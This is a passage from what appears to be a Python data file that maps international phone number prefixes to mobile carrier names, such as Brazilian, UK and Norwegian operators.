'Vivo'}, '554499121':{'en': 'Vivo'}, '474661':{'en': 'NetCom'}, '474660':{'en': 'NetCom'}, '474663':{'en': 'NetCom'}, '474662':{'en': 'NetCom'}, '554599949':{'en': 'TIM'}, '5527989':{'en': 'Oi'}, '474666':{'en': 'Telenor'}, '5527987':{'en': 'Oi'}, '5527986':{'en': 'Oi'}, '5527985':{'en': 'Oi'}, '47591':{'en': 'Telenor'}, '50363171':{'en': 'Claro'}, '50363170':{'en': 'Claro'}, '50363173':{'en': 'Claro'}, '50363172':{'en': 'Claro'}, '50363174':{'en': 'Claro'}, '515495826':{'en': 'Claro'}, '549389':{'en': 'Personal'}, '549388':{'en': 'Personal'}, '4477977':{'en': 'JT'}, '4477979':{'en': 'JT'}, '4477978':{'en': 'JT'}, '549387':{'en': 'Personal'}, '549386':{'en': 'Personal'}, '549381':{'en': 'Personal'}, '549380':{'en': 'Personal'}, '549383':{'en': 'Personal'}, '549382':{'en': 'Personal'}, '552299214':{'en': 'Claro BR'}, '552299215':{'en': 'Claro BR'}, '552299216':{'en': 'Claro BR'}, '552299217':{'en': 'Claro BR'}, '552299211':{'en': 'Claro BR'}, '552299212':{'en': 'Claro BR'}, '552299213':{'en': 'Claro BR'}, '552299218':{'en': 'Claro BR'}, '552299219':{'en': 'Claro BR'}, '4473898':{'en': 'Vodafone'}, '4473892':{'en': 'TalkTalk'}, '4473893':{'en': 'TalkTalk'}, '4473890':{'en': 'Three'}, '4473891':{'en': 'Three'}, '4473896':{'en': 'Hanhaa'}, '4473897':{'en': 'Vodafone'}, '4473894':{'en': 'TalkTalk'}, '4473895':{'en': 'TalkTalk'}, '385905':{'en': 'Tele2'}, '385904':{'en': 'Tele2'}, '385907':{'en': 'Tele2'}, '385906':{'en': 'Tele2'}, '385901':{'en': 'Tele2'}, '385903':{'en': 'Tele2'}, '385902':{'en': 'Tele2'}, '385909':{'en': 'Tele2'}, '385908':{'en': 'Tele2'}, '554298408':{'en': 'Brasil Telecom GSM'}, '554298409':{'en': 'Brasil Telecom GSM'}, '3939':{'en': '3 Italia'}, '3938':{'en': 'Wind'}, '3934':{'en': 'Vodafone'}, '554298402':{'en': 'Brasil Telecom GSM'}, '3936':{'en': 'TIM'}, '554298404':{'en': 'Brasil Telecom GSM'}, '554298405':{'en': 'Brasil Telecom GSM'}, '3933':{'en': 'TIM'}, '3932':{'en': 'Wind'}, '5524988':{'en': 'Oi'}, '5524989':{'en': 'Oi'}, '5524986':{'en': 'Oi'}, '5524987':{'en': 'Oi'}, '5524985':{'en': 'Oi'}, '1787992':{'en': 'CENTENNIAL'}, '1787993':{'en': 'CENTENNIAL'}, '1787998':{'en': 'CENTENNIAL'}, '1787999':{'en': 'CENTENNIAL'}, '551899659':{'en': 'Vivo'}, '551899658':{'en': 'Vivo'}, '551899651':{'en': 'Vivo'}, '551899653':{'en': 'Vivo'}, '551899652':{'en': 'Vivo'}, '551899655':{'en': 'Vivo'}, '551899654':{'en': 'Vivo'}, '551899657':{'en': 'Vivo'}, '551899656':{'en': 'Vivo'}, '552197370':{'en': 'Claro BR'}, '552197371':{'en': 'Claro BR'}, '552197372':{'en': 'Claro BR'}, '552197373':{'en': 'Claro BR'}, '4368183':{'en': 'Orange AT'}, '553299911':{'en': 'Telemig Celular'}, '553598408':{'en': 'Claro BR'}, '553598409':{'en': 'Claro BR'}, '553598402':{'en': 'Claro BR'}, '553598403':{'en': 'Claro BR'}, '553598401':{'en': 'Claro BR'}, '553598406':{'en': 'Claro BR'}, '553598407':{'en': 'Claro BR'}, '553598404':{'en': 'Claro BR'}, '516196152':{'en': 'Movistar'}, '346919':{'en': 'MasMovil'}, '553299918':{'en': 'Telemig Celular'}, '554399163':{'en': 'Vivo'}, '554399162':{'en': 'Vivo'}, '554399161':{'en': 'Vivo'}, '554399167':{'en': 'Vivo'}, '554399166':{'en': 'Vivo'}, '551599108':{'en': 'Claro BR'}, '551599109':{'en': 'Claro BR'}, '2576':{'en': 'Viettel'}, '551599107':{'en': 'Claro BR'}, '551599104':{'en': 'Claro BR'}, '551599105':{'en': 'Claro BR'}, '551599102':{'en': 'Claro BR'}, '2573':{'en': 'Viettel'}, '551599101':{'en': 'Claro BR'}, '553499103':{'en': 'TIM'}, '553499102':{'en': 'TIM'}, '553499101':{'en': 'TIM'}, '474064':{'en': 'NetCom'}, '474063':{'en': 'NetCom'}, '474062':{'en': 'NetCom'}, '474061':{'en': 'NetCom'}, '474060':{'en': 'NetCom'}, '552798166':{'en': 'TIM'}, '552798167':{'en': 'TIM'}, '552798164':{'en': 'TIM'}, '552798165':{'en': 'TIM'}, '552798162':{'en': 'TIM'}, '552798163':{'en': 'TIM'}, '552798161':{'en': 'TIM'}, '124685':{'en': 'Digicel'}, '124684':{'en': 'Digicel'}, '124683':{'en': 'Digicel'}, '124682':{'en': 'Digicel'}, '554299137':{'en': 'Vivo'}, '554299136':{'en': 'Vivo'}, '554299135':{'en': 'Vivo'}, '554299134':{'en': 'Vivo'}, '554299133':{'en': 'Vivo'}, '554299132':{'en': 'Vivo'}, '554299131':{'en': 'Vivo'}, '553199679':{'en': 'Telemig Celular'}, '479854':{'en': 'NetCom'}, '459282':{'en': 'Flexfone'}, '459280':{'en': 'Voxbone'}, '306956':{'en': 'Vodafone'}, '553899191':{'en': 'TIM'}, '553899192':{'en': 'TIM'}, '553899193':{'en': 'TIM'}, '553899194':{'en': 'TIM'}, '553899195':{'en': 'TIM'}, '553899196':{'en': 'TIM'}, '5037786':{'en': 'Tigo'}, '5037785':{'en': 'Tigo'}, '37065':{'en': u('BIT\u0116')}, '37067':{'en': 'Tele 2'}, '30685501':{'en': 'BWS'}, '37060':{'en': 'Tele 2'}, '37062':{'en': 'Omnitel'}, '51749798':{'en': 'Movistar'}, '51749796':{'en': 'Movistar'}, '51749797':{'en': 'Claro'}, '51749790':{'en': 'Movistar'}, '51749791':{'en': 'Movistar'}, '51749792':{'en': 'Movistar'}, '51749793':{'en': 'Claro'}, '5037783':{'en': 'Movistar'}, '455282':{'en': 'Lebara Limited'}, '455280':{'en': 'Lebara Limited'}, '455281':{'en': 'Lebara Limited'}, '554498428':{'en': 'Brasil Telecom GSM'}, '554498429':{'en': 'Brasil Telecom GSM'}, '212675':{'en': u('M\u00e9ditel')}, '554498421':{'en': 'Brasil Telecom GSM'}, '554498422':{'en': 'Brasil Telecom GSM'}, '554498423':{'en': 'Brasil Telecom GSM'}, '554498424':{'en': 'Brasil Telecom GSM'}, '554498425':{'en': 'Brasil Telecom GSM'}, '554498426':{'en': 'Brasil Telecom GSM'}, '5037782':{'en': 'Movistar'}, '55249968':{'en': 'Vivo'}, '55249969':{'en': 'Vivo'}, '553199611':{'en': 'Telemig Celular'}, '55249962':{'en': 'Vivo'}, '30690500':{'en': 'MI Carrier Services'}, '55249964':{'en': 'Vivo'}, '55249965':{'en': 'Vivo'}, '55249966':{'en': 'Vivo'}, '55249967':{'en': 'Vivo'}, '212656':{'en': u('M\u00e9ditel')}, '212657':{'en': u('M\u00e9ditel')}, '551699961':{'en': 'Vivo'}, '553899999':{'en': 'Telemig Celular'}, '551699963':{'en': 'Vivo'}, '47928':{'en': 'NetCom'}, '551699964':{'en': 'Vivo'}, '553899990':{'en': 'Telemig Celular'}, '47922':{'en': 'NetCom'}, '553899992':{'en': 'Telemig Celular'}, '47920':{'en': 'NetCom'}, '47926':{'en': 'NetCom'}, '553899996':{'en': 'Telemig Celular'}, '47924':{'en': 'NetCom'}, '1787693':{'en': 'CENTENNIAL'}, '1787692':{'en': 'CENTENNIAL'}, '1787690':{'en': 'CENTENNIAL'}, '1787695':{'en': 'CENTENNIAL'}, '4478220':{'en': 'FleXtel'}, '4478221':{'en': 'Swiftnet'}, '4478222':{'en': 'TalkTalk'}, '4478224':{'en': 'aql'}, '4478225':{'en': 'Icron Network'}, '4478226':{'en': 'aql'}, '4478227':{'en': 'Cheers'}, '1242462':{'en': 'BaTelCo'}, '551698175':{'en': 'TIM'}, '1242463':{'en': 'BaTelCo'}, '551698174':{'en': 'TIM'}, '1242464':{'en': 'BaTelCo'}, '551698177':{'en': 'TIM'}, '1242465':{'en': 'BaTelCo'}, '551698176':{'en': 'TIM'}, '1242466':{'en': 'BaTelCo'}, '554199178':{'en': 'Vivo'}, '554199179':{'en': 'Vivo'}, '554199176':{'en': 'Vivo'}, '551698171':{'en': 'TIM'}, '554199174':{'en': 'Vivo'}, '175828':{'en': 'Cable & Wireless'}, '554199172':{'en': 'Vivo'}, '554199173':{'en': 'Vivo'}, '554199171':{'en': 'Vivo'}, '517396994':{'en': 'Movistar'}, '50584':{'en': 'Claro'}, '517396996':{'en': 'Movistar'}, '517396997':{'en': 'Movistar'}, '517396990':{'en': 'Movistar'}, '517396991':{'en': 'Movistar'}, '554698824':{'en': 'Claro BR'}, '50582':{'en': 'Movistar'}, '551698172':{'en': 'TIM'}, '517396998':{'en': 'Movistar'}, '50588':{'en': 'Movistar'}, '35193':{'en': 'NOS'}, '474830':{'en': 'Telenor'}, '474831':{'en': 'Telenor'}, '474832':{'en': 'Telenor'}, '551698178':{'en': 'TIM'}, '552198319':{'en': 'TIM'}, '552198318':{'en': 'TIM'}, '4478730':{'en': 'Telesign'}, '552198313':{'en': 'TIM'}, '552198312':{'en': 'TIM'}, '552198311':{'en': 'TIM'}, '552198317':{'en': 'TIM'}, '552198316':{'en': 'TIM'}, '552198315':{'en': 'TIM'}, '552198314':{'en': 'TIM'}, '5023534':{'en': 'Movistar'}, '551899798':{'en': 'Vivo'}, '551899799':{'en': 'Vivo'}, '2346479':{'en': 'Starcomms'}, '2694':{'en': 'TELCO'}, '2693':{'en': 'Comores Telecom'}, '551899792':{'en': 'Vivo'}, '2346470':{'en': 'Starcomms'}, '551899794':{'en': 'Vivo'}, '2346476':{'en': 'Starcomms'}, '2346475':{'en': 'Starcomms'}, '2346474':{'en': 'Starcomms'}, '5023533':{'en': 'Movistar'}, '5023532':{'en': 'Movistar'}, '486998':{'en': 'Plus'}, '553599126':{'en': 'TIM'}, '553599127':{'en': 'TIM'}, '553599124':{'en': 'TIM'}, '486999':{'en': 'Plus'}, '553599122':{'en': 'TIM'}, '553599123':{'en': 'TIM'}, '553599121':{'en': 'TIM'}, '3069530':{'en': 'Cyta'}, '553599128':{'en': 'TIM'}, '553599129':{'en': 'TIM'}, '2982':{'en': 'Faroese Telecom'}, '553799118':{'en': 'TIM'}, '458161':{'en': 'YouSee'}, '3469199':{'en': 'Carrefour'}, '3469198':{'en': 'Carrefour'}, '297996':{'en': 'SETAR'}, '297997':{'en': 'SETAR'}, '297995':{'en': 'SETAR'}, '297998':{'en': 'SETAR'}, '5547991':{'en': 'Vivo'}, '474586':{'en': 'NetCom'}, '2346987':{'en': 'Starcomms'}, '551898144':{'en': 'TIM'}, '55169930':{'en': 'Claro BR'}, '2987':{'en': 'Vodafone'}, '55169931':{'en': 'Claro BR'}, '2346989':{'en': 'Starcomms'}, '1767285':{'en': 'Cable & Wireless'}, '212666':{'en': 'Maroc Telecom'}, '55169934':{'en': 'Claro BR'}, '55169935':{'en': 'Claro BR'}, '2986':{'en': 'Vodafone'}, '554898407':{'en': 'Brasil Telecom GSM'}, '554199156':{'en': 'Vivo'}, '4476778':{'en': 'Core Telecom'}, '554199157':{'en': 'Vivo'}, '4476770':{'en': '24 Seven'}, '4476772':{'en': 'Relax'}, '4476776':{'en': 'Telsis'}, '551197056':{'en': 'Claro BR'}, '551197057':{'en': 'Claro BR'}, '551197054':{'en': 'Claro BR'}, '551197055':{'en': 'Claro BR'}, '551197052':{'en': 'Claro BR'}, '551197053':{'en': 'Claro BR'}, '551197050':{'en': 'TIM'}, '551197051':{'en': 'TIM'}, '552299229':{'en': 'Claro BR'}, '1869565':{'en': 'The Cable St. Kitts'}, '1869566':{'en': 'The Cable St. Kitts'}, '1869567':{'en': 'The Cable St. Kitts'}, '515495929':{'en': 'Movistar'}, '515495928':{'en': 'Movistar'}, '515495927':{'en': 'Claro'}, '515495926':{'en': 'Claro'}, '515495925':{'en': 'Claro'}, '515495924':{'en': 'Claro'}, '515495923':{'en': 'Claro'}, '515495922':{'en': 'Claro'}, '515495921':{'en': 'Claro'}, '515495920':{'en': 'Claro'}, '553599904':{'en': 'Telemig Celular'}, '3469229':{'en': 'Carrefour'}, '26269339':{'en': 'Orange'}, '554599973':{'en': 'TIM'}, '554599971':{'en': 'TIM'}, '554598817':{'en': 'Claro BR'}, '554599977':{'en': 'TIM'}, '554599974':{'en': 'TIM'}, '554599975':{'en': 'TIM'}, '447300':{'en': 'EE'}, '447301':{'en': 'EE'}, '447302':{'en': 'EE'}, '447303':{'en': 'EE'}, '447304':{'en': 'EE'}, '447305':{'en': 'Virgin Mobile'}, '447306':{'en': 'Virgin Mobile'}, '38050':{'en': 'Vodafone'}, '553599905':{'en': 'Telemig Celular'}, '554299937':{'en': 'TIM'}, '554299936':{'en': 'TIM'}, '554299935':{'en': 'TIM'}, '554299934':{'en': 'TIM'}, '554299933':{'en': 'TIM'}, '554299932':{'en': 'TIM'}, '554299931':{'en': 'TIM'}, '45523':{'en': 'Telia'}, '45921':{'en': 'Companymobile'}, '45925':{'en': 'Telenor Connexion AB'}, '45927':{'en': 'Telenor Connexion AB'}, '45926':{'en': 'Telenor Connexion AB'}, '553299901':{'en': 'Telemig Celular'}, '553299903':{'en': 'Telemig Celular'}, '553299902':{'en': 'Telemig Celular'}, '553299905':{'en': 'Telemig Celular'}, '553299904':{'en': 'Telemig Celular'}, '553299907':{'en': 'Telemig Celular'}, '553299906':{'en': 'Telemig Celular'}, '553299909':{'en': 'Telemig Celular'}, '553299908':{'en': 'Telemig Celular'}, '553599907':{'en': 'Telemig Celular'}, '554199158':{'en': 'Vivo'}, '3876711':{'en': 'm:tel'}, '3876713':{'en': 'm:tel'}, '3876717':{'en': 'm:tel'}, '502449':{'en': 'Tigo'}, '502448':{'en': 'Tigo'}, '502335':{'en': 'Tigo'}, '502334':{'en': 'Tigo'}, '502331':{'en': 'Tigo'}, '502330':{'en': 'Tigo'}, '502333':{'en': 'Tigo'}, '502332':{'en': 'Tigo'}, '1684272':{'en': 'Blue Sky'}, '553599901':{'en': 'Telemig Celular'}, '553799106':{'en': 'TIM'}, '553799107':{'en': 'TIM'}, '553799104':{'en': 'TIM'}, '553799105':{'en': 'TIM'}, '1767295':{'en': 'Cable & Wireless'}, '553799103':{'en': 'TIM'}, '553799101':{'en': 'TIM'}, '5023531':{'en': 'Movistar'}, '553798416':{'en': 'Claro BR'}, '553799108':{'en': 'TIM'}, '553799109':{'en': 'TIM'}, '1868268':{'en': 'bmobile'}, '5037848':{'en': 'Movistar'}, '5037849':{'en': 'Movistar'}, '5023530':{'en': 'Movistar'}, '5037844':{'en': 'Claro'}, '5037845':{'en': 'Movistar'}, '5037846':{'en': 'Movistar'}, '5037847':{'en': 'Movistar'}, '5037840':{'en': 'Claro'}, '5037841':{'en': 'Claro'}, '5037842':{'en': 'Claro'}, '5037843':{'en': 'Claro'}, '4869961':{'en': 'Cyfrowy Polsat'}, '4869963':{'en': 'Cyfrowy Polsat'}, '4869962':{'en': 'Cyfrowy Polsat'}, '4869965':{'en': 'Cyfrowy Polsat'}, '4869964':{'en': 'Cyfrowy Polsat'}, '4869967':{'en': 'Plus'}, '4869966':{'en': 'Cyfrowy Polsat'}, '4869969':{'en': 'Plus'}, '4869968':{'en': 'Cyfrowy Polsat'}, '2428001':{'en': 'Hightech Pro'}, '553199405':{'en': 'TIM'}, '553199404':{'en': 'TIM'}, '553199407':{'en': 'TIM'}, '553199406':{'en': 'TIM'}, '553199401':{'en': 'TIM'}, '553199403':{'en': 'TIM'}, '553199402':{'en': 'TIM'}, '553199411':{'en': 'TIM'}, '553199409':{'en': 'TIM'}, '553199408':{'en': 'TIM'}, '554398427':{'en': 'Brasil Telecom GSM'}, '2232079':{'en': 'Sotelma'}, '551899679':{'en': 'Vivo'}, '551899678':{'en': 'Vivo'}, '551899677':{'en': 'Vivo'}, '551899676':{'en': 'Vivo'}, '551899675':{'en': 'Vivo'}, '551899674':{'en': 'Vivo'}, '551899673':{'en': 'Vivo'}, '551899672':{'en': 'Vivo'}, '551899671':{'en': 'Vivo'}, '507873':{'en': 'Cable & Wireless'}, '507872':{'en': 'Cable & Wireless'}, '553398439':{'en': 'Claro BR'}, '553398438':{'en': 'Claro BR'}, '553398431':{'en': 'Claro BR'}, '553398433':{'en': 'Claro BR'}, '553398432':{'en': 'Claro BR'}, '553398435':{'en': 'Claro BR'}, '553398434':{'en': 'Claro BR'}, '553398437':{'en': 'Claro BR'}, '553398436':{'en': 'Claro BR'}, '553598421':{'en': 'Claro BR'}, '553598422':{'en': 'Claro BR'}, '553598423':{'en': 'Claro BR'}, '553598424':{'en': 'Claro BR'}, '553598425':{'en': 'Claro BR'}, '553598426':{'en': 'Claro BR'}, '553598427':{'en': 'Claro BR'}, '553598428':{'en': 'Claro BR'}, '553598429':{'en': 'Claro BR'}, '1787528':{'en': 'SunCom Wireless Puerto Rico'}, '553199271':{'en': 'TIM'}, '1787521':{'en': 'CENTENNIAL'}, '1787520':{'en': 'CENTENNIAL'}, '1787523':{'en': 'CENTENNIAL'}, '1787522':{'en': 'CENTENNIAL'}, '551599124':{'en': 'Claro BR'}, '551599125':{'en': 'Claro BR'}, '551599126':{'en': 'Claro BR'}, '551599127':{'en': 'Claro BR'}, '551599121':{'en': 'Claro BR'}, '551599122':{'en': 'Claro BR'}, '551599123':{'en': 'Claro BR'}, '447955':{'en': 'O2'}, '551599128':{'en': 'Claro BR'}, '551599129':{'en': 'Claro BR'}, '474001':{'en': 'NetCom'}, '474000':{'en': 'NetCom'}, '552798146':{'en': 'TIM'}, '552798147':{'en': 'TIM'}, '552798141':{'en': 'TIM'}, '552798142':{'en': 'TIM'}, '551899661':{'en': 'Vivo'}, '552798148':{'en': 'TIM'}, '552798149':{'en': 'TIM'}, '553599841':{'en': 'Telemig Celular'}, '516596592':{'en': 'Movistar'}, '516596591':{'en': 'Movistar'}, '516596590':{'en': 'Movistar'}, '516596597':{'en': 'Movistar'}, '516596596':{'en': 'Movistar'}, '554299153':{'en': 'Vivo'}, '553199277':{'en': 'TIM'}, '55119702':{'en': 'TIM'}, '516596598':{'en': 'Movistar'}, '554299159':{'en': 'Vivo'}, '554299158':{'en': 'Vivo'}, '55119706':{'en': 'Claro BR'}, '55119707':{'en': 'Claro BR'}, '479876':{'en': 'NetCom'}, '554199139':{'en': 'Vivo'}, '42093':{'en': 'T-Mobile'}, '551499174':{'en': 'Claro BR'}, '551898124':{'en': 'TIM'}, '45515':{'en': 'TDC'}, '45516':{'en': 'TDC'}, '551499178':{'en': 'Claro BR'}, '45517':{'en': 'TDC'}, '40776':{'en': 'Digi Mobil'}, '5521971':{'en': 'Vivo'}, '5521972':{'en': 'Vivo'}, '5521974':{'en': 'Claro BR'}, '40775':{'en': 'Digi Mobil'}, '5521976':{'en': 'Claro BR'}, '551898121':{'en': 'TIM'}, '50378027':{'en': 'Claro'}, '50378026':{'en': 'Claro'}, '50378025':{'en': 'Claro'}, '50378024':{'en': 'Digicel'}, '50378023':{'en': 'Digicel'}, '50378022':{'en': 'Digicel'}, '50378021':{'en': 'Digicel'}, '50378020':{'en': 'Digicel'}, '551898123':{'en': 'TIM'}, '50378029':{'en': 'Claro'}, '50378028':{'en': 'Claro'}, '5119955':{'en': 'Movistar'}, '5119954':{'en': 'Movistar'}, '5119957':{'en': 'Movistar'}, '5119956':{'en': 'Movistar'}, '551999692':{'en': 'Vivo'}, '551999693':{'en': 'Vivo'}, '5119953':{'en': 'Movistar'}, '551999691':{'en': 'Vivo'}, '5119959':{'en': 'Movistar'}, '5119958':{'en': 'Movistar'}, '551999698':{'en': 'Vivo'}, '551999699':{'en': 'Vivo'}, '2348581':{'en': 'Starcomms'}, '2348583':{'en': 'Starcomms'}, '2348582':{'en': 'Starcomms'}, '2348585':{'en': 'Starcomms'}, '2348584':{'en': 'Starcomms'}, '2348587':{'en': 'Starcomms'}, '2348586':{'en': 'Starcomms'}, '2348588':{'en': 'Starcomms'}, '551898129':{'en': 'TIM'}, '552799291':{'en': 'Claro BR'}, '554799913':{'en': 'TIM'}, '407050':{'en': 'Iristel'}, '421940':{'en': 'O2'}, '421944':{'en': 'O2'}, '421945':{'en': 'Orange'}, '421948':{'en': 'O2'}, '421949':{'en': 'O2'}, '45315':{'en': '3'}, '347110':{'en': 'Zinnia'}, '347111':{'en': 'Vodafone'}, '447438':{'en': 'Lycamobile'}, '553199678':{'en': 'Telemig Celular'}, '347117':{'en': 'Vodafone'}, '553199676':{'en': 'Telemig Celular'}, '553199677':{'en': 'Telemig Celular'}, '553199674':{'en': 'Telemig Celular'}, '553199675':{'en': 'Telemig Celular'}, '553199672':{'en': 'Telemig Celular'}, '553199673':{'en': 'Telemig Celular'}, '553199671':{'en': 'Telemig Celular'}, '447793':{'en': 'O2'}, '447792':{'en': 'Orange'}, '447791':{'en': 'Orange'}, '447790':{'en': 'Orange'}, '447796':{'en': 'Vodafone'}, '447795':{'en': 'Vodafone'}, '447794':{'en': 'Orange'}, '447799':{'en': 'Vodafone'}, '447798':{'en': 'Vodafone'}, '447435':{'en': 'Vodafone'}, '212679':{'en': u('M\u00e9ditel')}, '554698809':{'en': 'Claro BR'}, '212674':{'en': u('M\u00e9ditel')}, '47948':{'en': 'Telenor'}, '26269294':{'en': 'Only'}, '26269292':{'en': 'Only'}, '26269293':{'en': 'Only'}, '447433':{'en': 'EE'}, '1242468':{'en': 'BaTelCo'}, '553499957':{'en': 'Telemig Celular'}, '324688':{'en': 'Premium Routing GmbH'}, '324687':{'en': 'Premium Routing GmbH'}, '324685':{'en': 'Telenet'}, '324684':{'en': 'Telenet'}, '324683':{'en': 'Telenet'}, '324682':{'en': 'Telenet'}, '324681':{'en': 'Telenet'}, '1242467':{'en': 'BaTelCo'}, '35196':{'en': 'MEO'}, '507668':{'en': 'Cable & Wireless'}, '507669':{'en': 'Cable & Wireless'}, '35191':{'en': 'Vodafone'}, '507664':{'en': u('Telef\u00f3nica M\u00f3viles')}, '507665':{'en': 'Cable & Wireless'}, '507666':{'en': 'Cable & Wireless'}, '507667':{'en': 'Cable & Wireless'}, '507660':{'en': u('Telef\u00f3nica M\u00f3viles')}, '507661':{'en': u('Telef\u00f3nica M\u00f3viles')}, '507662':{'en': u('Telef\u00f3nica M\u00f3viles')}, '507663':{'en': u('Telef\u00f3nica M\u00f3viles')}, '549280':{'en': 'Personal'}, '554799616':{'en': 'TIM'}, '503789':{'en': 'Tigo'}, '503788':{'en': 'Tigo'}, '474580':{'en': 'Telenor'}, '503783':{'en': 'Movistar'}, '503782':{'en': 'Movistar'}, '503781':{'en': 'Movistar'}, '2346988':{'en': 'Starcomms'}, '503787':{'en': 'Tigo'}, '503786':{'en': 'Claro'}, '503785':{'en': 'Claro'}, '554199154':{'en': 'Vivo'}, '554199155':{'en': 'Vivo'}, '38268':{'en': 'm:tel'}, '38269':{'en': 'Telenor'}, '554199151':{'en': 'Vivo'}, '554199152':{'en': 'Vivo'}, '554199153':{'en': 'Vivo'}, '38263':{'en': 'Telenor'}, '38260':{'en': 'm:tel'}, '38266':{'en': 'Telekom'}, '38267':{'en': 'Telekom'}, '554699974':{'en': 'TIM'}, '554198442':{'en': 'Brasil Telecom GSM'}, '423650':{'en': 'Soracom'}, '4474583':{'en': 'Virgin Mobile'}, '4474582':{'en': 'Premium Routing'}, '4474585':{'en': 'Marathon Telecom'}, '4474584':{'en': 'Airwave'}, '4474587':{'en': 'Limitless'}, '4474586':{'en': 'Three'}, '4474589':{'en': 'Three'}, '4474588':{'en': 'Limitless'}, '553899154':{'en': 'TIM'}, '553899155':{'en': 'TIM'}, '553899156':{'en': 'TIM'}, '553899157':{'en': 'TIM'}, '553899151':{'en': 'TIM'}, '551999506':{'en': 'Claro BR'}, '551999507':{'en': 'Claro BR'}, '551999504':{'en': 'Claro BR'}, '551999505':{'en': 'Claro BR'}, '551999502':{'en': 'Claro BR'}, '551999503':{'en': 'Claro BR'}, '551999500':{'en': 'Claro BR'}, '551999501':{'en': 'Claro BR'}, '516296251':{'en': 'Movistar'}, '516296250':{'en': 'Movistar'}, '516296253':{'en': 'Movistar'}, '516296252':{'en': 'Movistar'}, '516296254':{'en': 'Movistar'}, '551999508':{'en': 'Claro BR'}, '554698808':{'en': 'Claro BR'}, '515495808':{'en': 'Claro'}, '1242889':{'en': 'aliv'}, '517697605':{'en': 'Movistar'}, '5531984':{'en': 'Claro BR'}, '554698801':{'en': 'Claro BR'}, '554698802':{'en': 'Claro BR'}, '554698803':{'en': 'Claro BR'}, '554698804':{'en': 'Claro BR'}, '554698805':{'en': 'Claro BR'}, '554698806':{'en': 'Claro BR'}, '554698807':{'en': 'Claro BR'}, '454278':{'en': 'Telia'}, '454279':{'en': 'Telia'}, '454270':{'en': 'BiBoB'}, '454271':{'en': '3'}, '454272':{'en': '3'}, '454273':{'en': '3'}, '454274':{'en': '3'}, '454275':{'en': 'YouSee'}, '454276':{'en': 'Telia'}, '454277':{'en': 'Telia'}, '554799624':{'en': 'TIM'}, '554799625':{'en': 'TIM'}, '553899162':{'en': 'TIM'}, '554799628':{'en': 'TIM'}, '554799629':{'en': 'TIM'}, '553599108':{'en': 'TIM'}, '553599109':{'en': 'TIM'}, '553599104':{'en': 'TIM'}, '553599105':{'en': 'TIM'}, '553599106':{'en': 'TIM'}, '553599107':{'en': 'TIM'}, '553599101':{'en': 'TIM'}, '553599102':{'en': 'TIM'}, '553599103':{'en': 'TIM'}, '21379':{'en': 'Djezzy'}, '554799951':{'en': 'TIM'}, '553399968':{'en': 'Telemig Celular'}, '21377':{'en': 'Djezzy'}, '553799954':{'en': 'Telemig Celular'}, '1787312':{'en': 'Claro'}, '1787313':{'en': 'Claro'}, '1787310':{'en': 'SunCom Wireless Puerto Rico'}, '1787316':{'en': 'Claro'}, '1787317':{'en': 'Claro'}, '1787314':{'en': 'Claro'}, '1787315':{'en': 'Claro'}, '1787318':{'en': 'Claro'}, '553799959':{'en': 'Telemig Celular'}, '553799958':{'en': 'Telemig Celular'}, '2015':{'en': 'TE'}, '2011':{'en': 'Etisalat'}, '2010':{'en': 'Vodafone'}, '2012':{'en': 'Orange'}, '553399961':{'en': 'Telemig Celular'}, '164934':{'en': 'Digicel'}, '164933':{'en': 'Digicel'}, '551499196':{'en': 'Claro BR'}, '551499197':{'en': 'Claro BR'}, '551499194':{'en': 'Claro BR'}, '551499195':{'en': 'Claro BR'}, '551499192':{'en': 'Claro BR'}, '551499193':{'en': 'Claro BR'}, '551499191':{'en': 'Claro BR'}, '553798426':{'en': 'Claro BR'}, '552499282':{'en': 'Claro BR'}, '553798424':{'en': 'Claro BR'}, '553798425':{'en': 'Claro BR'}, '553798422':{'en': 'Claro BR'}, '553798423':{'en': 'Claro BR'}, '26269355':{'en': 'Orange'}, '553798421':{'en': 'Claro BR'}, '26269350':{'en': 'Only'}, '38073':{'en': 'lifecell'}, '45254':{'en': 'Telenor'}, '51439436':{'en': 'Movistar'}, '51439435':{'en': 'Claro'}, '51439434':{'en': 'Movistar'}, '553299923':{'en': 'Telemig Celular'}, '553299922':{'en': 'Telemig Celular'}, '51439431':{'en': 'Movistar'}, '51439430':{'en': 'Movistar'}, '51439438':{'en': 'Movistar'}, '553899810':{'en': 'Telemig Celular'}, '352668':{'en': 'Orange'}, '554299146':{'en': 'Vivo'}, '352661':{'en': 'Orange'}, '55349840':{'en': 'Claro BR'}, '55349841':{'en': 'Claro BR'}, '554299145':{'en': 'Vivo'}, '447366':{'en': 'Three'}, '447367':{'en': 'Three'}, '447365':{'en': 'Three'}, '554299142':{'en': 'Vivo'}, '554599952':{'en': 'TIM'}, '554599953':{'en': 'TIM'}, '554599954':{'en': 'TIM'}, '38163':{'en': 'Telenor'}, '554299143':{'en': 'Vivo'}, '554299141':{'en': 'Vivo'}, '553799128':{'en': 'TIM'}, '553799129':{'en': 'TIM'}, '553799124':{'en': 'TIM'}, '553799125':{'en': 'TIM'}, '553799126':{'en': 'TIM'}, '553799127':{'en': 'TIM'}, '553799121':{'en': 'TIM'}, '553799122':{'en': 'TIM'}, '553799123':{'en': 'TIM'}, '553199795':{'en': 'Telemig Celular'}, '553199794':{'en': 'Telemig Celular'}, '553199797':{'en': 'Telemig Celular'}, '3468870':{'en': 'OpenMovil'}, '553199791':{'en': 'Telemig Celular'}, '553199793':{'en': 'Telemig Celular'}, '553199792':{'en': 'Telemig Celular'}, '553199799':{'en': 'Telemig Celular'}, '553199798':{'en': 'Telemig Celular'}, '187688':{'en': 'Digicel'}, '187689':{'en': 'Digicel'}, '554299149':{'en': 'Vivo'}, '1784432':{'en': 'AT&T'}, '187687':{'en': 'Digicel'}, '187684':{'en': 'Digicel'}, '187685':{'en': 'Digicel'}, '4869909':{'en': 'Cyfrowy Polsat'}, '4869908':{'en': 'Cyfrowy Polsat'}, '4869903':{'en': 'Cyfrowy Polsat'}, '4869902':{'en': 'Cyfrowy Polsat'}, '4869907':{'en': 'Cyfrowy Polsat'}, '4869906':{'en': 'Cyfrowy Polsat'}, '4869905':{'en': 'Cyfrowy Polsat'}, '4869904':{'en': 'Cyfrowy Polsat'}, '447586':{'en': 'Vodafone'}, '447587':{'en': 'Vodafone'}, '447584':{'en': 'Vodafone'}, '447585':{'en': 'Vodafone'}, '447582':{'en': 'Orange'}, '447583':{'en': 'Orange'}, '447580':{'en': 'Orange'}, '447581':{'en': 'Orange'}, '447588':{'en': 'Three'}, '1684254':{'en': 'Blue Sky'}, '1684256':{'en': 'Blue Sky'}, '1684252':{'en': 'Blue Sky'}, '1684258':{'en': 'Blue Sky'}, '551899615':{'en': 'Vivo'}, 